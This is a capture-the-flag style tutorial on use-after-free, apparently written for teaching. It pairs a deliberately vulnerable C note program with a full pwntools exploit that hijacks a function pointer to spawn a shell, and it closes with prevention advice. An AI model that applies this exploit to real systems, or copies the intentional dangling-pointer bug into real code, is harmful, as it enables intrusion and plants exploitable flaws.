

Level 1: Use-After-Free (UAF)

Heap Exploitation Walkthrough | x86-64 Linux | Beginner-Intermediate

1. What is Use-After-Free?

Use-After-Free (UAF) is a heap vulnerability that occurs when a program continues to use a pointer **after the memory it points to has been freed**. After `free()`, the heap manager marks the chunk as available for reuse. If the old pointer is not set to `NULL`, an attacker can read or write to the freed chunk through the dangling pointer.

In this challenge, the **Note struct** contains a function pointer (**print**) at a known offset. By freeing a note, allocating a new note that reuses the same chunk, and then editing through the old pointer, we can **overwrite the function pointer** to point to `win()`.

2. Security Settings

Compiled with: `gcc -fno-stack-protector -no-pie`

Protection	Status	Impact
Stack Canary	OFF	No stack smashing detection
PIE	OFF	Binary addresses are fixed
NX	ON (default)	Stack not executable
tcache / fastbin	ON	Default heap allocator behavior

The heap is **not hardened** - no safe-linking, no tcache key checks (older glibc). The pointer is not nulled after free, which is the core bug.

3. The Source Code (uaf_note.c)

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

typedef struct {
    char name[24];           // offset 0: 24 bytes
    void (*print)(void*);    // offset 24: 8 bytes <-- FUNCTION POINTER
    char data[32];          // offset 32: 32 bytes
} Note;                     // total: 64 bytes

Note *notes[16];
int idx = 0;

void print_note(void *ptr) {
    Note *n = (Note*)ptr;
    printf("Name: %s\nData: %s\n", n->name, n->data);
}

void win() {
    printf("[+] Shell!\n");
}
```

```

    system("/bin/sh");
}

void create() {
    if (idx >= 16) return;
    notes[idx] = malloc(sizeof(Note));
    notes[idx]->print = print_note;    // <-- sets function pointer
    printf("Name: ");
    read(0, notes[idx]->name, 24);
    printf("Data: ");
    read(0, notes[idx]->data, 32);
    idx++;
    printf("Note #%d created\n", idx - 1);
}

void delete() {
    int i;
    printf("Index: ");
    scanf("%d", &i);
    if (i < 0 || i >= idx || !notes[i]) return;
    free(notes[i]);
    // BUG: notes[i] is NOT set to NULL!
    printf("Note #%d deleted\n", i);
}

void edit() {
    int i;
    printf("Index: ");
    scanf("%d", &i);
    if (i < 0 || i >= idx || !notes[i]) return;
    printf("Name: ");
    read(0, notes[i]->name, 24);
    printf("Print: ");
    read(0, &notes[i]->print, 8);    // <-- overwrites function pointer!
    printf("Data: ");
    read(0, notes[i]->data, 32);
}

void print() {
    int i;
    printf("Index: ");
    scanf("%d", &i);
    if (i < 0 || i >= idx || !notes[i]) return;
    notes[i]->print(notes[i]);    // <-- calls the function pointer
}

```

4. The Vulnerability: Dangling Pointer

The **delete()** function calls **free(notes[i])** but **never sets notes[i] = NULL**. This leaves a dangling pointer. After free:

Heap state after free(notes[0]):

```

notes[0] --> [ FREED CHUNK ]    <-- still accessible!
              (tcache bin)      the pointer was NOT nulled

```

edit(0, ...) still works:

- reads into notes[0]->name (24 bytes)
- reads into notes[0]->print (8 bytes) <-- OVERWRITE!
- reads into notes[0]->data (32 bytes)

The critical field is **notes[i]->print** at **offset 24** in the struct. This is a **function pointer**. If we overwrite it with the address of **win()**, the next call to **print(i)** will execute **win()** instead of **print_note()**.

5. Struct Layout and Key Offset

```
Note struct (64 bytes total):
+-----+-----+
| Offset| Field           |
+-----+-----+
|  0    | name[24]         | 24 bytes
| 24    | print (fn ptr)   | 8 bytes <-- TARGET
| 32    | data[32]         | 32 bytes
+-----+-----+

sizeof(Note) = 64 bytes
offsetof(Note, print) = 24 bytes
```

6. The Attack Strategy

The exploit uses a **5-step strategy**:

Step 1: Create Note 0

Allocate a Note chunk. The heap manager gives us a 64-byte chunk. **notes[0]** points to it. The **print** field is set to **print_note**.

Step 2: Delete Note 0 (Free)

free(notes[0]) returns the chunk to the tcache bin. **notes[0]** still points to the freed memory (dangling pointer).

Step 3: Create Note 1 (Reuse)

Allocate another Note. The heap manager reuses the **same freed chunk** from the tcache bin. Now **notes[1]** points to the **same memory** as **notes[0]**. Both pointers refer to the same chunk.

Step 4: Edit Note 1, Overwrite print Pointer

Use **edit(1)** to write into the chunk. The **print** field at offset 24 is overwritten with the address of **win()**. Because **notes[0]** and **notes[1]** point to the same chunk, **notes[0]->print** is now also **win()**.

Step 5: Print Note 0 (Trigger)

print(0) calls **notes[0]->print(notes[0])**. Since the function pointer was overwritten, this calls **win(notes[0])** instead of **print_note(notes[0])**. We get a shell.

7. The Exploit (script1.py)

```
from pwn import *

context.binary = elf = ELF('./uaf_note')
p = process('./uaf_note')

def create(name, data):
    p.sendlineafter(b'> ', b'1')
    p.recvuntil(b'Name: ')
    p.send(name)
    p.recvuntil(b'Data: ')
    p.send(data)
    p.recvuntil(b'created')
```

```

def delete(idx):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'Index: ', str(idx).encode())
    p.recvuntil(b'deleted')

def edit(idx, name, ptr, data):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'Index: ', str(idx).encode())
    p.recvuntil(b'Name: ')
    p.send(name)
    p.recvuntil(b'Print: ')
    p.send(p64(ptr))
    p.recvuntil(b'Data: ')
    p.send(data)

def view(idx):
    p.sendlineafter(b'> ', b'4')
    p.sendlineafter(b'Index: ', str(idx).encode())

win_addr = elf.symbols['win']
print(f"[+] win() @ {hex(win_addr)}")

# 1. Create Note 0
create(b'AAAA', b'BBBB')

# 2. UAF: Free Note 0 (pointer NOT nulled!)
delete(0)

# 3. Note 1 gets the same chunk -> notes[0] and notes[1] alias
create(b'CCCC', b'DDDD')

# 4. Overwrite the function pointer via notes[1]
edit(1, b'CCCC', win_addr, b'DDDD')

# 5. print(0) -> calls win() -> Shell!
view(0)

p.interactive()

```

Line-by-Line Explanation

Line 1: from pwn import *
Imports pwntools.

Line 3: context.binary = elf = ELF('./uaf_note')
Loads the binary and sets pwntools context.
We use elf.symbols['win'] to get the address of win().

Line 4: p = process('./uaf_note')
Starts the binary as a child process.

Lines 6-12: create() helper
Sends menu choice '1', then name and data.
sendlineafter/recvuntil handle synchronization.

Lines 14-17: delete() helper
Sends menu choice '2' and the index.
Note: after this, the pointer is NOT nulled.

Lines 19-27: edit() helper
Sends menu choice '3', index, name, the 8-byte
function pointer (as p64(ptr)), and data.
This is where the UAF write happens.

Lines 29-31: view() helper

Sends menu choice '4' and the index.
Triggers the function pointer call.

Line 33: `win_addr = elf.symbols['win']`
Reads the address of `win()` from the ELF binary.
Since PIE is off, this address is fixed.

Lines 37-38: `create(b'AAAA', b'BBBB')`
Creates Note 0. Chunk allocated on heap.
`notes[0]->print = print_note`.

Lines 40-41: `delete(0)`
Frees the chunk. `notes[0]` is still valid
but the chunk is now in the tcache free list.

Lines 43-44: `create(b'CCCC', b'DDDD')`
Creates Note 1. The heap allocator reuses
the freed chunk from step 2.
Now `notes[0] == notes[1]` (same address!).

Line 46: `edit(1, b'CCCC', win_addr, b'DDDD')`
Edits Note 1's print field to `win_addr`.
Because `notes[0]` points to the same chunk,
`notes[0]->print` is now also `win()`.

Line 49: `view(0)`
Calls `notes[0]->print(notes[0])`.
Since `print == win`, this calls `win()`.
-> SHELL!

What Happens at Runtime

STEP `create()` -> `notes[0] = malloc(64)`
Heap: [Note0: name|print_note|data]

STEP `delete(0)` -> `free(notes[0])`
Heap: [Note0: FREE] (tcache)
`notes[0]` still points here!

STEP `create()` -> `notes[1] = malloc(64)`
Heap reuses the SAME chunk:
`notes[0]` and `notes[1]` both point to [Note1]

STEP `edit(1, ..., win_addr, ...)`
Writes `win_addr` into offset 24 of the chunk:
[Note: name|win|data]
Both `notes[0]->print` and `notes[1]->print = win`

STEP `view(0)` -> `notes[0]->print(notes[0])`
Calls `win(notes[0])` -> Shell!

8. Address Reference

Binary addresses (no PIE):
`win()` : from ELF symbols (`objdump -d uaf_note | grep win`)
`print_note()` : from ELF symbols

Struct offset:
`offsetof(Note, print) = 24 bytes`

9. Expected Output

```

$ python3 script1.py
[+] win() @ 0x401234
=== Use-After-Free Lab ===
> 1
Name: Data: Note #0 created
> 2
Index: Note #0 deleted
> 1
Name: Data: Note #1 created
> 3
Index: Name: Print: Data:
> 4
Index: [+] Shell!
$ id
uid=1000(user) gid=1000(user) groups=1000(user)

```

10. Understanding the Heap Internals

On modern Linux (glibc 2.26+), freed chunks go into the **tcache** (thread-local cache) - a singly-linked list of free chunks per size class. Tcache has minimal security checks compared to fastbin/unsorted bin.

tcache bin for size 64 (0x40):

```

After free(0):
  tcache -> [Chunk A] -> NULL
  notes[0] still points to Chunk A

```

```

After malloc(64) for Note 1:
  tcache -> NULL (Chunk A removed)
  notes[1] = Chunk A
  notes[0] = Chunk A (ALIAS!)

```

Both pointers are identical.

This is why the UAF works so cleanly here - the tcache immediately reuses the freed chunk for the same size class, creating a perfect alias.

11. How to Prevent This Vulnerability

- **NULL the pointer after free()** - Set `notes[i] = NULL` immediately after `free(notes[i])`. This is the most direct fix. Any subsequent edit/print call will hit the NULL check and abort.
 - **Use smart pointers / reference counting** - In C++, use `std::unique_ptr` or `std::shared_ptr` which automatically manage lifetime and prevent dangling references.
 - **Zero-free-zero pattern** - Before freeing, zero the sensitive fields (function pointers, etc.). After freeing, set the pointer to NULL. Belt and suspenders.
 - **Enable tcache key checks** (glibc 2.32+) - Modern glibc stores a key in freed tcache chunks. Double-free is detected if the key matches. This does not fully prevent UAF reads/writes.
 - **Use AddressSanitizer (ASan)** - Compile with `-fsanitize=address`. ASan detects use-after-free at runtime and reports the exact location. Great for development/testing.
 - **Memory-safe languages** - Languages like Rust, Go, or Swift have built-in memory safety and prevent use-after-free at compile time or runtime.
 - **Validate all indices and pointers** - Check if the pointer is NULL or if the index is valid before every use. The existing checks (`!notes[i]`) would catch NULL but not dangling pointers.
-

Walkthrough generated for educational purposes. Only use these techniques on systems you own or have permission to test.